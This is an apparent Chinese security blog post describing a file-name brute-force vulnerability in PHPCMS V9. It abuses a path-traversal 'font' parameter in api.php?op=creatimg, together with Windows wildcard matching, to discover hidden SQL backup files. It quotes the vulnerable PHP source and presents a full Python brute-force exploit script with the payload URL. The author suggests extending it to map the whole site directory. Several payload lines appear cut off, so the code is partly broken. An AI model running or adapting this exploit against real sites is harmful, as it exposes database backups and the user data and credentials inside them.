phpcms数据库备份与恢复_phpcms V9 sql备份文件名爆破

payload：/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/gv5dmx<<.sql>

我们知道windows的FindFirstFile(API)有个特性就是可以把<

这个漏洞和前一阵子dedecms后台爆破如出一辙，api.php文件的$op变量决定用户的操作

# api.php

define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);

include PHPCMS_PATH.'phpcms/base.php';

......

$op = isset($_GET['op']) && trim($_GET['op']) ? trim($_GET['op']) : exit('Operation can not be empty');

......

if (!preg_match('/([^a-z_]+)/i',$op) && file_exists(PHPCMS_PATH.'api/'.$op.'.php')) {

include PHPCMS_PATH.'api/'.$op.'.php';

......

?>

在/api/creatimg.php文件中，使用了file_exists()函数判断$fontfile文件是否存在，文件存在和不存在的返回信息是不同的，而且$fontfile可以被用户控制，且未过滤.和/等符号，最终导致了漏洞发生。

# /api/creatimg.php

defined('IN_PHPCMS') or exit('No permission resources.');

$txt = trim($_GET['txt']);

if(extension_loaded('gd') && $txt ) {

......

$fontfile = isset($_GET['font']) && !empty($_GET['font']) ? $fontpath.trim($_GET['font']) : $fontpath.'georgia.ttf';

......

if(file_exists($fontfile)){

//计算文本写入后的宽度，右下角 X 位置-左下角 X 位置

$image_info = imagettfbbox($fontsize,0,$fontfile,$txt);

$imageX = $image_info[2]-$image_info[0]+10;

$imageY = $image_info[1]-$image_info[7]+5;

......

爆破脚本如下：

#!/usr/bin/env python

# coding=utf-8

'''/*

* author = Mochazz

* team   = 红日安全团队

* env    = pyton3

*

*/

'''

import requests

import itertools

characters = "abcdefghjklmnopqrstuvwxyz0123456789_!#"

backup_sql = ""

payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<

url = "http://192.168.0.106"

flag = 0

for num in range(1,7):

if flag:

break

for pre in itertools.permutations(characters,num):

pre = ''.join(list(pre))

payload = payload.format(location=pre)

r = requests.get(url+payload)

if r.status_code == 200 and "PNG" in r.text:

flag = 1

backup_sql = pre

payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<

break

else:

payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<

print("[+] 前缀为：",backup_sql)

flag = 0

for i in range(30):

if flag:

break

for ch in characters:

if ch == characters[-1]:

flag = 1

break

payload = payload.format(location=backup_sql+ch)

r = requests.get(url + payload)

if r.status_code == 200 and "PNG" in r.text:

backup_sql += ch

print("[+] ",backup_sql)

payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<

break

else:

payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<

print("备份sql文件地址为：",backup_sql+".sql")

效果如下：

后记：

在测试的过程中，由于本地php环境出现问题，导致复现一直没成功，最终重装环境解决问题。实际上，如果这个程序加以修改，理论上是可以利用这个漏洞遍历整个phpcms目录文件结构的，只要前缀重复的不多(例如get_file.php和get_img.php的重复前缀为get_)。

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